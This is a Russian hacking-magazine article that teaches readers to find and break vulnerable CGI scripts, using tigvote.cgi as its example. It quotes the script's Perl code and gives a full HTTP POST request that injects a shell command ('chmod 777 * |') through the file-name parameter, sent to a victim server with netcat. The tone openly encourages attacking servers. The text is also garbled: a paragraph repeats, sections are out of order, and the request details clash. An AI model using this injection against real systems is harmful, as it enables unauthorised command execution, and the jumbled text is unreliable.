ДЕТСКИЙ ВЗЛОМ - ищем бажную CGI Скрыпников Сергей aka Slam Спецвыпуск Xakep, номер #025, стр. 025-026-3 "TIGVOTE.CGI Местонахождение: /cgi-bin/tigvote.cgi (как раз где мы нашли). Уязвимость: Данный скрипт позволяет организовывать голосование на сайте, и имя файла с базой по голосам передается скрипту как параметр. При внимательном рассмотрении исходного текста скрипта можно найти место, где происходило чтение данных формы и присвоение некой переменной имени файла: $in = $ENV{\'QUERY_STRING\'}; @temp=split /&/,$in; $in=@temp[1]; @temp=split /=/,@temp[0]; $fileName=\'vote\'.@temp[1].\'.txt\'; $fileIP=\'ip-\'.$fileName; Как ты видишь, отсутствует проверка на различные символы, в том числе и | \ /. Двигаясь дальше, мы видим строку open FILE,"$fileName";. Не происходит стандартной обработки переданной строки, и все небуквенно-цифровые символы передаются в uuencode, посему из браузера не удастся осуществить эксплуатацию уязвимости. Использование: Ниже следует пример запроса, который исполнит команду echo Hi на хосте-жертве. Отдать такой запрос можно, к примеру, неткатом (почти тот же тЁлнет): [hax0r@foo.com]$ cat zapros POST /cgi-bin/tigvote.cgi HTTP/1.1 Accept: */* Accept-Language: ru Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent:Agent Smith Host: www.kronex.ru Content-Length: 33 Connection: Keep-Alive file=chmod 777 * |&tigvote=cho+hi [hax0r@foo.com]$ nc www.victim.com < zapros > out.log". Вот и все ;). Ты думал, это сложно? Оказывается, легче некуда ;). Но учти, что количество серваков с дырявыми скриптами уменьшается (я имею в виду те серваки, которые интересно ломать, а не www.vasiapupkin.h1.ru). Если у тебя появятся какие-либо вопросы, мой мыл всегда открыт для тебя. Автор не имеет никакого отношения к взлому, ему все это приснилось. И вообще я - Менделеев :). Но теперь пришло то время, когда мы расскажем тебе о том, как можно быстро и без особых напрягов сломать какой-нибудь сервак. Как работает CGI-скрипт? Я, конечно, могу впихнуть тебе какое-нибудь техническое руководство, но пользы от этого будет мало. Поэтому объясню, как все происходит, на пальцах. Вот и все ;). Ты думал, это сложно? Оказывается, легче некуда ;). Но учти, что количество серваков с дырявыми скриптами уменьшается (я имею в виду те серваки, которые интересно ломать, а не www.vasiapupkin.h1.ru). |